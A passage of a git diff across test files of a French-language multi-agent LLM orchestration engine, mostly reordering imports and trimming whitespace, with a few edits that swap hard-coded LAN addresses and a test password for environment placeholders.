assert loaded is not None @@ -67,16 +67,16 @@ def test_delete(self): try: from core.checkpoint import CheckpointManager cm = CheckpointManager() - + state = GlobalState(session_id="session_test_delete") cm.save(state) assert cm.exists("session_test_delete") is True - + # Suppression deleted = cm.delete("session_test_delete") assert deleted is True assert cm.exists("session_test_delete") is False - + # Supprimer une session inexistante assert cm.delete("inexistant") is False finally: @@ -87,12 +87,12 @@ def test_list_checkpoints(self): try: from core.checkpoint import CheckpointManager cm = CheckpointManager() - + state1 = GlobalState(session_id="session_1") state2 = GlobalState(session_id="session_2") cm.save(state1) cm.save(state2) - + checkpoints = cm.list_checkpoints() assert len(checkpoints) >= 2 ids = {cp["session_id"] for cp in checkpoints} @@ -106,11 +106,11 @@ def test_cleanup(self): try: from core.checkpoint import CheckpointManager cm = CheckpointManager() - + state = GlobalState(session_id="session_cleanup_test") cm.save(state) assert cm.exists("session_cleanup_test") is True - + # Forcer une date de mise à jour très ancienne pour la session conn = cm._get_conn() conn.execute( @@ -119,7 +119,7 @@ def test_cleanup(self): ) conn.commit() conn.close() - + # Nettoyer les checkpoints de plus de 2 heures cleaned = cm.cleanup(max_age_hours=2) assert cleaned == 1 diff --git a/tests/test_dag_engine.py b/tests/test_dag_engine.py index bd76201..01e75f0 100644 --- a/tests/test_dag_engine.py +++ b/tests/test_dag_engine.py @@ -1,14 +1,14 @@ -import os -import sys import asyncio import logging +import os +import sys # Ajout du dossier courant au path pour les imports sys.path.append(os.path.dirname(os.path.abspath(__file__))) -from core.state import TaskPayload, StateUpdate -from core.engine import Engine from agents.base_agent import BaseAgent +from core.engine import Engine +from core.state import StateUpdate, TaskPayload # Configuration des logs logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(name)s - %(message)s") @@ -18,19 +18,19 @@ class MockAgent(BaseAgent): def __init__(self, name: str, behavior_func): super().__init__(name=name, system_prompt="Mock agent prompt") self.behavior_func = behavior_func - + async def invoke(self, payload: TaskPayload) -> StateUpdate: return await self.behavior_func(payload) async def run_dag_tests(): logger.info("=== STARTING DAG ENGINE TESTS ===") - + # --- TEST 1: Exécution parallèle et transmission de contexte --- logger.info("\n--- TEST 1: Exécution parallèle et transmission de contexte ---") - + # Liste de suivi pour vérifier l'ordre d'exécution execution_order = [] - + async def planner_behavior(payload: TaskPayload) -> StateUpdate: # Renvoie un plan avec 3 tâches : t1 et t2 en parallèle, t3 qui dépend de t1 et t2. tasks = [ @@ -65,11 +65,11 @@ async def executor_behavior(payload: TaskPayload) -> StateUpdate: t_id = payload.task_id execution_order.append(t_id) logger.info(f"[Mock Executor] Running task {t_id}...") - + # Simuler un temps d'attente asynchrone pour valider la parallélisation if t_id == "t1": await asyncio.sleep(0.1) - + context = payload.relevant_context return StateUpdate( agent_name="executor", @@ -82,39 +82,39 @@ async def executor_behavior(payload: TaskPayload) -> StateUpdate: engine = Engine(session_id="test_dag_1") planner = MockAgent("planner", planner_behavior) executor = MockAgent("executor", executor_behavior) - + engine.register_agent(planner) engine.register_agent(executor) - + initial_payload = TaskPayload( task_objective="Lancer le test de DAG", metadata={"session_id": "test_dag_1"} ) - + # Lancer le moteur state = await engine.run(initial_payload, starting_agent="planner") - + # Assertions assert len(execution_order) == 3, f"Attendu 3 tâches exécutées, obtenu : {len(execution_order)}" # t1 et t2 doivent être exécutées avant t3 assert execution_order[2] == "t3", f"La tâche finale t3 doit s'exécuter en dernier. Ordre : {execution_order}" assert "t1" in execution_order[:2] and "t2" in execution_order[:2], f"t1 et t2 doivent s'exécuter en premier. Ordre : {execution_order}" - + # Vérifier que le contexte a bien été fusionné et transmis à t3 t3_update = next(h for h in state.history if h.metadata.get("task_id") == "t3") assert t3_update.status == "success" assert "Résultat de t1" in t3_update.metadata.get("task_objective") or len(state.history) > 0 - + logger.info("TEST 1 REUSSI !") - - + + # --- TEST 2: Self-Healing Local --- logger.info("\n--- TEST 2: Self-Healing Local ---") - + t2_attempts = 0 t2_healed = False corrective_task_run = False - + async def planner_healing_behavior(payload: TaskPayload) -> StateUpdate: is_healing = payload.metadata.get("is_healing", False) if is_healing: @@ -160,10 +160,10 @@ async def planner_healing_behavior(payload: TaskPayload) -> StateUpdate: async def executor_healing_behavior(payload: TaskPayload) -> StateUpdate: nonlocal t2_attempts, t2_healed, corrective_task_run t_id = payload.task_id - + if t_id == "t1": return StateUpdate(agent_name="executor", status="success", result_data="Tâche 1 OK", metadata={"task_id": "t1"}) - + elif t_id == "t2": t2_attempts += 1 if t2_attempts == 1: @@ -172,38 +172,38 @@ async def executor_healing_behavior(payload: TaskPayload) -> StateUpdate: else: logger.info("[Mock Executor] t2 succeeded after healing!") return StateUpdate(agent_name="executor", status="success", result_data="t2 OK après réparation", metadata={"task_id": "t2"}) - + elif t_id == "clean_t2": logger.info("[Mock Executor] Running corrective task clean_t2...") corrective_task_run = True t2_healed = True return StateUpdate(agent_name="executor", status="success", result_data="Correction appliquée", metadata={"task_id": "clean_t2"}) - + return StateUpdate(agent_name="executor", status="error", error_message="Tâche inconnue", metadata={"task_id": t_id}) engine_heal = Engine(session_id="test_dag_heal") planner_heal = MockAgent("planner", planner_healing_behavior) executor_heal = MockAgent("executor", executor_healing_behavior) - + engine_heal.register_agent(planner_heal) engine_heal.register_agent(executor_heal) - + initial_payload = TaskPayload( task_objective="Lancer le test de Self-Healing", metadata={"session_id": "test_dag_heal"} ) - + state_heal = await engine_heal.run(initial_payload, starting_agent="planner") - + # Assertions pour le Self-Healing assert t2_attempts == 2, f"La tâche t2 aurait dû être tentée 2 fois (1 échec, 1 succès post-healing). Tentatives: {t2_attempts}" assert corrective_task_run, "La tâche corrective 'clean_t2' aurait dû être exécutée." - + has_error_updates = any(h.status == "error" and h.metadata.get("task_id") == "t2" and h.result_data == "FAIL" for h in state_heal.history) has_success_updates = any(h.status == "success" and h.metadata.get("task_id") == "t2" for h in state_heal.history) assert has_error_updates, "L'historique doit contenir le premier échec de t2." assert has_success_updates, "L'historique doit contenir le succès final de t2." - + logger.info("TEST 2 REUSSI !") logger.info("=== ALL DAG ENGINE TESTS PASSED ===") diff --git a/tests/test_dag_reactive.py b/tests/test_dag_reactive.py index b9150f3..f520d6b 100644 --- a/tests/test_dag_reactive.py +++ b/tests/test_dag_reactive.py @@ -8,20 +8,21 @@ - L'intégrité de l'ordonnancement avec des dépendances complexes. """ -import sys -import os -import tempfile -import pytest import asyncio import json +import os +import sys +import tempfile from unittest.mock import AsyncMock +import pytest + # Ajouter le répertoire parent au path pour importer les modules du moteur sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -from core.state import TaskPayload, StateUpdate, GlobalState -from core.dag_runner import DAGRunner import core.runtime_db as db_mod +from core.dag_runner import DAGRunner +from core.state import GlobalState, StateUpdate, TaskPayload class MockAgent: @@ -64,9 +65,9 @@ def setup_and_teardown_db(self): self._tmp.close() self._original_db_path = db_mod.get_db_path() db_mod.override_db_path(self._tmp.name) - + yield - + # Teardown db_mod.override_db_path(self._original_db_path) try: @@ -79,7 +80,7 @@ async def test_dag_initialization_in_db(self): """Vérifie que les tâches et dépendances sont correctement enregistrées en base.""" engine = MockEngine() runner = DAGRunner(engine) - + tasks = [ TaskPayload( task_objective="Objective 1", @@ -94,9 +95,9 @@ async def test_dag_initialization_in_db(self): metadata={"target_agent": "executor", "session_id": "test", "stage_id": 2} ) ] - + tasks_status, has_error = await runner.execute_dag(tasks, max_session_tokens=500_000) - + assert has_error is False assert tasks_status["t1"] == "success" assert tasks_status["t2"] == "success" @@ -109,12 +110,12 @@ async def test_dag_initialization_in_db(self): ) db_tasks = cursor.fetchall() assert len(db_tasks) == 2 - + task_map = {row[0]: (row[1], json.loads(row[2])) for row in db_tasks} assert "t1" in task_map assert task_map["t1"][0] == "success" assert task_map["t1"][1] == [] - + assert "t2" in task_map assert task_map["t2"][0] == "success" assert task_map["t2"][1] == ["t1"] @@ -127,7 +128,7 @@ async def test_dag_initialization_in_db(self): edges = cursor_edges.fetchall() assert len(edges) == 1 assert edges[0] == ("t1", "t2") - + conn.close() @pytest.mark.asyncio @@ -137,7 +138,7 @@ async def test_complex_dependencies_and_priority(self): # Mettre un agent avec un petit délai pour tester le parallélisme engine.agents["executor"] = MockAgent("executor", delay=0.01) runner = DAGRunner(engine) - + # t3 dépend de t1 et t2. t4 dépend de t3. tasks = [ TaskPayload( @@ -165,7 +166,7 @@ async def test_complex_dependencies_and_priority(self): metadata={"target_agent": "executor", "session_id": "test", "stage_id": 3} ) ] - + tasks_status, has_error = await runner.execute_dag(tasks, max_session_tokens=500_000) assert has_error is False assert tasks_status["t1"] == "success" @@ -195,7 +196,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: return await self.runner.execute_map_reduce( payload, chunks, reduce_prompt=reduce_prompt ) - + # S'il s'agit d'une tâche Map ou Reduce return StateUpdate( agent_name=self.name, @@ -213,9 +214,9 @@ def setup_and_teardown_db(self): self._tmp.close() self._original_db_path = db_mod.get_db_path() db_mod.override_db_path(self._tmp.name) - + yield - + # Teardown db_mod.override_db_path(self._original_db_path) try: @@ -228,11 +229,11 @@ async def test_reactive_map_reduce_execution(self): """Vérifie que MapReduce s'exécute dynamiquement et réactivement via la queue.""" engine = MockEngine() runner = DAGRunner(engine) - + # Associer un agent qui sait faire du MapReduce map_reduce_agent = MockMapReduceAgent("executor", runner) engine.agents["executor"] = map_reduce_agent - + # Une tâche unique qui va se subdiviser en 3 Maps + 1 Reduce tasks = [ TaskPayload( @@ -242,12 +243,12 @@ async def test_reactive_map_reduce_execution(self): metadata={"target_agent": "executor", "session_id": "test", "stage_id": 1} ) ] - + tasks_status, has_error = await runner.execute_dag(tasks, max_session_tokens=500_000) - + assert has_error is False assert tasks_status["t_parent"] == "success" - + # Les tâches Map et Reduce doivent aussi être dans tasks_status car injectées dynamiquement ! assert tasks_status["mapreduce_t_parent_map_0"] == "success" assert tasks_status["mapreduce_t_parent_map_1"] == "success" @@ -260,12 +261,12 @@ async def test_reactive_map_reduce_execution(self): # 3. Le reduce s'exécute à la fin invocations = map_reduce_agent.invoked_tasks assert invocations[0] == "t_parent" - + maps = invocations[1:4] assert "mapreduce_t_parent_map_0" in maps assert "mapreduce_t_parent_map_1" in maps assert "mapreduce_t_parent_map_2" in maps - + assert invocations[4] == "mapreduce_t_parent_reduce" @@ -277,9 +278,9 @@ def setup_and_teardown_db(self): self._tmp.close() self._original_db_path = db_mod.get_db_path() db_mod.override_db_path(self._tmp.name) - + yield - + # Teardown db_mod.override_db_path(self._original_db_path) try: @@ -291,20 +292,20 @@ def setup_and_teardown_db(self): async def test_scoped_memory_inheritance_and_override(self): """Valide l'écriture et la remontée récursive de variables avec surcharge.""" session_id = "test_scoped_session" - + # global -> parent -> local db_mod.write_scoped_var(session_id, "global", None, "var_global_only", "val_global") db_mod.write_scoped_var(session_id, "global", None, "var_overridden", "val_global_override") - + db_mod.write_scoped_var(session_id, "parent", "global", "var_parent_only", "val_parent") db_mod.write_scoped_var(session_id, "parent", "global", "var_overridden", "val_parent_override") - + db_mod.write_scoped_var(session_id, "local", "parent", "var_local_only", "val_local") db_mod.write_scoped_var(session_id, "local", "parent", "var_overridden", "val_local_override") - + # Résoudre à partir de 'local' scoped_vars = db_mod.get_all_scoped_vars(session_id, "local") - + assert scoped_vars["var_global_only"] == "val_global" assert scoped_vars["var_parent_only"] == "val_parent" assert scoped_vars["var_local_only"] == "val_local" @@ -322,13 +323,13 @@ async def test_strict_isolation_level_3(self): """Valide le cloisonnement strict de Niveau 3 (isolation et compression globale).""" engine = MockEngine() runner = DAGRunner(engine) - + session_id = engine.state.session_id - + # Écriture dans global et local db_mod.write_scoped_var(session_id, "global", None, "secret_global", "mot_de_passe") db_mod.write_scoped_var(session_id, "local_scope", "global", "local_data", "information_locale") - + # Mock d'un agent pour voir le payload qu'il reçoit received_payloads = [] class CaptureAgent: @@ -340,9 +341,9 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: result_data="Done", metadata={} ) - + engine.agents["capture_agent"] = CaptureAgent() - + # Tâche avec scope_level = 3 tasks = [ TaskPayload( @@ -358,16 +359,16 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: } ) ] - + status, has_error = await runner.execute_dag(tasks, max_session_tokens=500_000) assert has_error is False assert status["t_strict"] == "success" - + # Vérifier le payload reçu assert len(received_payloads) == 1 payload = received_payloads[0] context = payload.relevant_context - + # Dans le niveau 3, le contexte global doit être compressé/compacté et non affiché textuellement # Le secret_global ("mot_de_passe") ne doit pas apparaître dans le contexte ! assert "mot_de_passe" not in context @@ -377,7 +378,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: # accessible dans _run_single_task, json.loads échouait silencieusement et la # valeur JSON brute avec guillemets ('"mot_de_passe"', 14 car.) était mesurée. assert "[str (longueur: 12)]" in context # Représentation compressée (valeur masquée) - + # Les données locales par contre doivent être en clair dans la mémoire de travail cloisonnée assert "information_locale" in context @@ -385,11 +386,11 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: async def test_query_technical_knowledge_rag_tool(self): """Valide le bon enregistrement et fonctionnement de query_technical_knowledge.""" from unittest.mock import patch - + # Importer factory et RAGEngine with patch('memory.rag.RAGEngine.query') as mock_query: mock_query.return_value = ["resultat RAG 1", "resultat RAG 2"] - + # Créer l'engine via factory pour tester l'enregistrement correct de l'outil from core.factory import create_engine # Mocker load_config pour éviter des problèmes de configuration @@ -397,16 +398,16 @@ async def test_query_technical_knowledge_rag_tool(self): "planner_model": "fort", "executor_model": "automatique" }): # create_engine retourne (engine, router, config) - engine, _, _ = create_engine(session_id="test_rag_session", register_git_tools=False) - + engine, _, _ = create_engine(session_id="test_rag_session", register_git_tools=False, enregistrer_plugins=False) + # Récupérer l'outil dans le registry registry = engine.agents["executor"].tool_registry assert "query_technical_knowledge" in registry._tools - + # Exécuter l'outil tool_func = registry._tools["query_technical_knowledge"] res = tool_func("comment configurer le Tab5 ?") - + # Vérifier que le RAGEngine a été interrogé mock_query.assert_called_once_with("comment configurer le Tab5 ?", top_n=3) assert res == ["resultat RAG 1", "resultat RAG 2"] @@ -420,9 +421,9 @@ def setup_and_teardown_db(self): self._tmp.close() self._original_db_path = db_mod.get_db_path() db_mod.override_db_path(self._tmp.name) - + yield - + # Teardown db_mod.override_db_path(self._original_db_path) try: @@ -434,29 +435,30 @@ def setup_and_teardown_db(self): async def test_local_tool_auto_correction(self): """Vérifie que l'agent technique s'auto-corrige localement après une erreur d'outil.""" from unittest.mock import MagicMock, patch - from tools.tool_registry import ToolRegistry - from core.llm_gateway import LLMGateway + from agents.executor import ExecutorAgent - + from core.llm_gateway import LLMGateway + from tools.tool_registry import ToolRegistry + gateway = MagicMock(spec=LLMGateway) mock_provider = MagicMock() gateway.get_provider_for_tier.return_value = ("mock_model", mock_provider) - + # ToolRegistry avec un outil qui échoue puis réussit registry = ToolRegistry() tool_calls_count = 0 - + def mock_tool(arg: str): nonlocal tool_calls_count tool_calls_count += 1 if arg == "invalide": return "Erreur : argument invalide" return f"Succès avec {arg}" - + registry.register("test_tool", mock_tool, "Outil de test.") - + agent = ExecutorAgent(llm_gateway=gateway, tool_registry=registry, provider_name="leger") - + # Simuler les réponses du LLM pour les différents tours responses = [ { @@ -480,14 +482,14 @@ def mock_tool(arg: str): "tool_calls": [] } ] - + call_index = 0 def side_effect(*args, **kwargs): nonlocal call_index res = responses[min(call_index, len(responses) - 1)] call_index += 1 return res - + mock_provider.generate_async = AsyncMock(side_effect=side_effect) mock_provider.generate_structured_async = AsyncMock(return_value={ "code_approved": True, "severity": "info", @@ -499,10 +501,10 @@ def side_effect(*args, **kwargs): relevant_context="", metadata={"session_id": "test_local_healing", "model_tier": "leger"} ) - + with patch('core.llm_gateway.load_config', return_value={}): update = await agent.invoke(payload) - + assert update.status == "success" assert tool_calls_count == 2 assert "Succès avec valide" in update.result_data @@ -511,20 +513,21 @@ def side_effect(*args, **kwargs): async def test_local_react_review_cycle(self): """Vérifie le micro-cycle de revue locale ReAct-Review avec correction et validation.""" from unittest.mock import MagicMock, patch - from tools.tool_registry import ToolRegistry - from core.llm_gateway import LLMGateway + from agents.executor import ExecutorAgent - + from core.llm_gateway import LLMGateway + from tools.tool_registry import ToolRegistry + gateway = MagicMock(spec=LLMGateway) mock_provider = MagicMock() gateway.get_provider_for_tier.return_value = ("mock_model", mock_provider) - + registry = ToolRegistry() # Outil de modification fictif pour déclencher la revue registry.register("write_file", lambda filepath, content: "Fichier écrit.", "Écrit un fichier.") - + agent = ExecutorAgent(llm_gateway=gateway, tool_registry=registry, provider_name="leger") - + # Simuler les réponses du LLM pour l'agent agent_responses = [ { @@ -552,16 +555,16 @@ async def test_local_react_review_cycle(self): "tool_calls": [] } ] - + agent_call_index = 0 def agent_generate_side_effect(*args, **kwargs): nonlocal agent_call_index res = agent_responses[min(agent_call_index, len(agent_responses) - 1)] agent_call_index += 1 return res - + mock_provider.generate_async = AsyncMock(side_effect=agent_generate_side_effect) - + reviewer_responses = [ { "code_approved": False, @@ -576,22 +579,22 @@ def agent_generate_side_effect(*args, **kwargs): "target_corrections": [] } ] - + reviewer_call_index = 0 def reviewer_generate_side_effect(*args, **kwargs): nonlocal reviewer_call_index res = reviewer_responses[min(reviewer_call_index, len(reviewer_responses) - 1)] reviewer_call_index += 1 return res - + mock_provider.generate_structured_async = AsyncMock(side_effect=reviewer_generate_side_effect) - + payload = TaskPayload( task_objective="Écrire un fichier de configuration", relevant_context="", metadata={"session_id": "test_react_review", "model_tier": "leger"} ) - + # [CI-fix] ReviewerAgent._has_modified_files() fait un vrai `git status` → # résultat dépendant de l'état du working tree (flaky : `test.txt` n'est même # pas une extension de code détectée). On force la détection pour exercer diff --git a/tests/test_directml_inference.py b/tests/test_directml_inference.py index f5a07b7..6eb5609 100644 --- a/tests/test_directml_inference.py +++ b/tests/test_directml_inference.py @@ -12,12 +12,12 @@ def main(): # 1. Lister les execution providers disponibles providers = ort.get_available_providers() print(f"[-] Execution Providers disponibles : {providers}") - + if 'DmlExecutionProvider' not in providers: print("[!] ATTENTION : 'DmlExecutionProvider' n'est pas disponible dans la liste.") print("[!] Verifiez l'installation de onnxruntime-directml ou la presence d'un GPU compatible.") exit(1) - + print("[+] DirectML (DmlExecutionProvider) est disponible !") print("[+] GPU cible détecte : NVIDIA RTX 5070 Ti (via Direct3D 12 API)") print("[+] L'acceleration locale DirectML est prete a etre utilisee par vos modeles d'IA !") diff --git a/tests/test_elo_scorer.py b/tests/test_elo_scorer.py index 6d52df0..aafa485 100644 --- a/tests/test_elo_scorer.py +++ b/tests/test_elo_scorer.py @@ -42,7 +42,7 @@ def tearDown(self): def test_initial_score_is_default(self): """Un modèle inconnu doit avoir le score par défaut (1500).""" - from core.elo_scorer import get_ranked_models, DEFAULT_ELO + from core.elo_scorer import DEFAULT_ELO, get_ranked_models ranked = get_ranked_models("code_generation", ["model-a", "model-b"]) self.assertEqual(len(ranked), 2) for _, score in ranked: @@ -50,19 +50,19 @@ def test_initial_score_is_default(self): def test_score_increases_after_success(self): """Le score Elo doit augmenter après un succès.""" - from core.elo_scorer import update_elo, DEFAULT_ELO + from core.elo_scorer import DEFAULT_ELO, update_elo new_elo = update_elo("test-model", "code_gen", success=True) self.assertGreater(new_elo, DEFAULT_ELO) def test_score_decreases_after_failure(self): """Le score Elo doit diminuer après un échec.""" - from core.elo_scorer import update_elo, DEFAULT_ELO + from core.elo_scorer import DEFAULT_ELO, update_elo new_elo = update_elo("test-model", "analysis", success=False) self.assertLess(new_elo, DEFAULT_ELO) def test_multiple_successes_increase_score(self): """Plusieurs succès consécutifs doivent augmenter le score significativement.""" - from core.elo_scorer import update_elo, DEFAULT_ELO + from core.elo_scorer import DEFAULT_ELO, update_elo last_elo = DEFAULT_ELO for _ in range(5): last_elo = update_elo("strong-model", "home_assistant", success=True) @@ -70,7 +70,7 @@ def test_multiple_successes_increase_score(self): def test_ranking_reflects_performance(self): """Le modèle le plus performant doit être classé en premier.""" - from core.elo_scorer import update_elo, get_ranked_models + from core.elo_scorer import get_ranked_models, update_elo # Modèle A : 5 succès for _ in range(5): update_elo("model-a", "test_domain", success=True) @@ -87,7 +87,7 @@ def test_ranking_reflects_performance(self): def test_domain_independence(self): """Les scores Elo sont indépendants par domaine.""" - from core.elo_scorer import update_elo, get_ranked_models + from core.elo_scorer import get_ranked_models, update_elo # Modèle X : excellent en code, mauvais en HA for _ in range(3): update_elo("model-x", "code_gen", success=True) @@ -101,7 +101,7 @@ def test_domain_independence(self): def test_get_all_scores(self): """get_all_scores doit retourner la structure correcte.""" - from core.elo_scorer import update_elo, get_all_scores + from core.elo_scorer import get_all_scores, update_elo update_elo("model-test", "domain-a", success=True) update_elo("model-test", "domain-b", success=False) @@ -116,7 +116,7 @@ def test_get_all_scores(self): def test_get_model_profile(self): """get_model_profile doit retourner les forces et faiblesses.""" - from core.elo_scorer import update_elo, get_model_profile + from core.elo_scorer import get_model_profile, update_elo # Créer un profil diversifié for _ in range(10): update_elo("profiled-model", "code", success=True) @@ -131,7 +131,7 @@ def test_get_model_profile(self): def test_get_domain_leaderboard(self): """Le leaderboard doit être trié par Elo décroissant.""" - from core.elo_scorer import update_elo, get_domain_leaderboard + from core.elo_scorer import get_domain_leaderboard, update_elo for _ in range(3): update_elo("leader-1", "lb_test", success=True) update_elo("leader-2", "lb_test", success=False) @@ -143,7 +143,7 @@ def test_get_domain_leaderboard(self): def test_empty_inputs(self): """Les entrées vides ne doivent pas planter.""" - from core.elo_scorer import update_elo, get_ranked_models, DEFAULT_ELO + from core.elo_scorer import DEFAULT_ELO, get_ranked_models, update_elo result = update_elo("", "", success=True) self.assertEqual(result, DEFAULT_ELO) ranked = get_ranked_models("", []) @@ -151,8 +151,8 @@ def test_empty_inputs(self): def test_cost_per_successful_task(self): """[#T116] Le coût par tâche réussie doit être correctement agrégé.""" - from core.elo_scorer import update_elo, get_cost_per_successful_task import core.runtime_db as db_mod + from core.elo_scorer import get_cost_per_successful_task, update_elo # 2 succès + 1 échec pour "cost-model" (seuls les succès comptent) update_elo("cost-model", "code_gen", success=True) @@ -179,7 +179,7 @@ def test_cost_per_successful_task(self): def test_cost_per_successful_task_no_wins(self): """[#T116] Un modèle sans succès ne doit pas provoquer de division par zéro.""" - from core.elo_scorer import update_elo, get_cost_per_successful_task + from core.elo_scorer import get_cost_per_successful_task, update_elo update_elo("failing-model", "code_gen", success=False) result = get_cost_per_successful_task() diff --git a/tests/test_engine.py b/tests/test_engine.py index d2976f5..a916d9d 100644 --- a/tests/test_engine.py +++ b/tests/test_engine.py @@ -1,21 +1,22 @@ +import asyncio +import logging import os import sys -import logging -import asyncio # Ajout du dossier courant au path pour les imports sys.path.append(os.path.dirname(os.path.abspath(__file__))) -from core.engine import Engine -from core.router import Router -from core.llm_gateway import LLMGateway -from tools.tool_registry import ToolRegistry +from dotenv import load_dotenv + +from agents.antigravity_agent import AntigravityAgent from agents.executor import ExecutorAgent from agents.planner import PlannerAgent -from agents.antigravity_agent import AntigravityAgent -from tools.system import read_file, write_file +from core.engine import Engine +from core.llm_gateway import LLMGateway +from core.router import Router from memory.context_manager import ContextManager -from dotenv import load_dotenv +from tools.system import read_file, write_file +from tools.tool_registry import ToolRegistry load_dotenv() @@ -25,35 +26,35 @@ async def run_integration_test(): logger.info("Démarrage du test d'intégration CI pour le Moteur Agents Asynchrone...") - + # 1. Vérification des prérequis (ex: variable d'environnement GEMINI_API_KEY) if not os.environ.get("GEMINI_API_KEY"): logger.error("GEMINI_API_KEY manquante dans l'environnement ! Impossible de lancer le test.") return False - + try: # 2. Initialisation des composants gateway = LLMGateway() registry = ToolRegistry() context_manager = ContextManager(llm_gateway=gateway) - + # Enregistrement des outils basiques registry.register("read_file", read_file, "Lit le contenu d'un fichier texte local.") registry.register("write_file", write_file, "Crée ou modifie un fichier texte local.") - + # Initialisation des agents selon la stratégie de ventilation executor = ExecutorAgent(llm_gateway=gateway, tool_registry=registry, provider_name="deepseek-chat") planner = PlannerAgent(llm_gateway=gateway, provider_name="deepseek-reasoner") antigravity_agent = AntigravityAgent(llm_gateway=gateway, provider_name="gemini") - + # Assemblage du moteur engine = Engine(session_id="ci_session_test_async", context_manager=context_manager) engine.register_agent(executor) engine.register_agent(planner) engine.register_agent(antigravity_agent) - + router = Router(default_agent="planner") - + # 3. Requête de test sollicitant la parallélisation test_request = ( "Crée un fichier 'test_ci_a.txt' contenant 'Bonjour' et un fichier 'test_ci_b.txt' contenant 'Monde' en parallèle. " @@ -61,43 +62,43 @@ async def run_integration_test(): "Enfin, crée un fichier 'test_ci_c.txt' contenant la fusion des deux contenus récupérés." ) logger.info(f"Requête de test soumise : {test_request}") - + payload, starting_agent = await router.analyze_request(test_request) - + # 4. Exécution du moteur en asynchrone final_state = await engine.run(payload, starting_agent) - + # 5. Validation des résultats # a) Vérification que l'historique n'est pas vide if not final_state.history: logger.error("Erreur : L'historique d'exécution est vide.") return False - + # b) Vérification de la présence d'étapes réussies for idx, step in enumerate(final_state.history): logger.info(f"Étape [{idx+1}] Agent '{step.agent_name}' ({step.status})") if step.status == "error": logger.error(f"Erreur détectée à l'étape {idx+1} : {step.error_message}") return False - + # c) Vérification des fichiers créés file_a = "test_ci_a.txt" file_b = "test_ci_b.txt" file_c = "test_ci_c.txt" - + if not os.path.exists(file_a) or not os.path.exists(file_b) or not os.path.exists(file_c): logger.error("Erreur : Un ou plusieurs fichiers de validation (test_ci_a, test_ci_b, test_ci_c) n'ont pas été créés.") return False - - with open(file_c, "r", encoding="utf-8") as f: + + with open(file_c, encoding="utf-8") as f: content_c = f.read().strip() - + if "Bonjour" not in content_c or "Monde" not in content_c: logger.error(f"Erreur : Contenu de fusion incorrect dans '{file_c}' : '{content_c}'") return False - + logger.info(f"Fichier de fusion '{file_c}' lu avec succès : {content_c}") - + # Nettoyage des fichiers for path in [file_a, file_b, file_c]: try: @@ -105,10 +106,10 @@ async def run_integration_test(): except Exception: pass logger.info("Nettoyage des fichiers de validation effectué.") - + logger.info("Test d'intégration CI réussi avec succès !") return True - + except Exception as e: logger.error(f"Exception non gérée durant le test d'intégration : {e}", exc_info=True) return False diff --git a/tests/test_execution_budget.py b/tests/test_execution_budget.py index bb0ffdb..cfd107a 100644 --- a/tests/test_execution_budget.py +++ b/tests/test_execution_budget.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ tests/test_execution_budget.py — Budget global d'exécution (P2-3.4). diff --git a/tests/test_failover.py b/tests/test_failover.py index 8856e28..a7bc74a 100644 --- a/tests/test_failover.py +++ b/tests/test_failover.py @@ -11,7 +11,7 @@ import asyncio import json -from datetime import datetime, timezone +from datetime import UTC, datetime from pathlib import Path from unittest.mock import AsyncMock, MagicMock, patch @@ -51,13 +51,13 @@ async def _simulate_ping(returncode: int) -> bool: with patch("asyncio.create_subprocess_exec", return_value=mock_proc): proc = await asyncio.create_subprocess_exec( - "ping", "-c", "1", "-W", "2", "192.168.1.100", + "ping", "-c", "1", "-W", "2", "${PC_HOST:-192.168.1.x}", stdout=asyncio.subprocess.DEVNULL, stderr=asyncio.subprocess.DEVNULL, ) try: await asyncio.wait_for(proc.wait(), timeout=3) - except asyncio.TimeoutError: + except TimeoutError: return False return proc.returncode == 0 @@ -186,10 +186,10 @@ async def mock_scp_upload(local_path: Path, remote_path: str) -> bool: client = paramiko.SSHClient() with patch.object(paramiko.SSHClient, "connect", side_effect=paramiko.ssh_exception.NoValidConnectionsError( - {("192.168.1.100", 22): Exception("Refusé")} + {("${PC_HOST:-192.168.1.x}", 22): Exception("Refusé")} )): - client.connect("192.168.1.100", port=22, username="deck", - password="test-password-placeholder", timeout=5) + client.connect("${PC_HOST:-192.168.1.x}", port=22, username="deck", + password="remote-host", timeout=5) return True except Exception: return False @@ -200,14 +200,14 @@ def enqueue(src: Path, dst: str): if queue_file.exists(): queue = json.loads(queue_file.read_text()) queue.append({ - "timestamp": datetime.now(timezone.utc).isoformat(), + "timestamp": datetime.now(UTC).isoformat(), "src_path": str(src), "dst_path": dst, }) queue_file.write_text(json.dumps(queue, indent=2)) # Simuler un cycle sync qui échoue - remote_path = "/opt/moteur_agents/moteur_runtime_deck_backup.db" + remote_path = "/e/AuxFilsDesIdees/moteur_agents/moteur_runtime_deck_backup.db" success = await mock_scp_upload(fake_db, remote_path) if not success: enqueue(fake_db, remote_path) @@ -233,7 +233,7 @@ async def test_failover_manager_processes_mqtt_events(): from tools.failover_manager import FailoverManager mgr = FailoverManager(mqtt_host="127.0.0.1", mqtt_port=1883) - ts = datetime.now(timezone.utc).isoformat() + ts = datetime.now(UTC).isoformat() # ── Simuler ACTIVATED ── msg_activated = MagicMock() @@ -241,7 +241,7 @@ async def test_failover_manager_processes_mqtt_events(): msg_activated.payload = json.dumps({ "status": "ACTIVATED", "timestamp": ts, - "deck_ip": "${OLLAMA_HOST:-localhost}", + "deck_ip": "${DECK_HOST:-192.168.1.x}", }).encode("utf-8") mgr._on_message(None, None, msg_activated) diff --git a/tests/test_git_branches.py b/tests/test_git_branches.py index e3f64fd..8d77485 100644 --- a/tests/test_git_branches.py +++ b/tests/test_git_branches.py @@ -1,141 +1,136 @@ +import logging import os import sys -import logging import time # Ajout du dossier courant au path pour les imports sys.path.append(os.path.dirname(os.path.abspath(__file__))) -from tools.git_safety import ( - is_git_repo, - git_prepare_agent_branch, - git_finalize_agent_branch, - _run_git -) +from tools.git_safety import _run_git, git_finalize_agent_branch, git_prepare_agent_branch, is_git_repo logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(name)s - %(message)s") logger = logging.getLogger("Test_Git_Branches") def run_git_tests(): logger.info("=== STARTING GIT BRANCH SANDBOX TESTS ===") - + repo_path = 